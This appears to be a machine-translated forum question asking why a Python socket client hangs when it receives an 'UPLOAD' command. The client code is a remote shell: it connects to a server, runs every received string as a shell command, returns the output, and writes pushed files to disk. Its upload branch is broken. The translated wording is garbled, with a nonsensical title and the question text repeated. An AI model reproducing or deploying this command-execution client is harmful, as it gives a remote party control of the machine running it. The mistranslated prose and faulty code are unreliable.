如何在服务器客户端Python中终止SubAccess终端销售
如果我向终端发送upload,如何终止子流程终端外壳,以便我的代码可以继续执行upload功能?由于某种原因,它只是卡在接收器功能中。我希望能够在shell中发送上传,这样我就可以在我所在的目录中发送一个文件。我想在文件发送后将其带回shell。顺便说一下,这是客户机文件。我在服务器端得到了所有正确的东西,只是客户端卡在了接收器功能中如何在服务器客户端Python中终止SubAccess终端销售,python,sockets,subprocess,client,Python,Sockets,Subprocess,Client,如果我向终端发送upload,如何终止子流程终端外壳,以便我的代码可以继续执行upload功能?由于某种原因,它只是卡在接收器功能中。我希望能够在shell中发送上传,这样我就可以在我所在的目录中发送一个文件。我想在文件发送后将其带回shell。顺便说一下,这是客户机文件。我在服务器端得到了所有正确的东西,只是客户端卡在了接收器功能中 import socket import sys import os import subprocess def receiver(s): while
import socket
import sys
import os
import subprocess
def receiver(s):
while True:
cmd_bytes = s.recv(20480)
cmd = cmd_bytes.decode("utf-8")
if cmd.startswith("cd "):
os.chdir(cmd[3:])
s.send(b"$: ")
continue
#need to just kill subprocess and break into upload function
elif cmd.startswith("UPLOAD"):
p.terminate()
print("it's dead")
upload(s)
break
if len(cmd) > 0:
p = subprocess.run(cmd, shell=True, capture_output=True)
data = p.stdout + p.stderr
s.send(data + b"$: ")
def upload(s):
file_data = s.recv(1024)
filename = str("haha.txt")
#filename = (input(str("name of file?: ")))
file = open(filename, 'wb')
file.write(file_data)
file.close()
print("FILE SENT")
receiver(s)
def connect(address):
#connect to server
try:
s = socket.socket()
s.connect(address)
print("CONNECTION")
print(f"Address: {address}")
except socket.error as error:
print("failed connection!")
sys.exit()
receiver(s)
if __name__ == "__main__":
host ="127.0.0.1"
port = 6666
connect((host, port))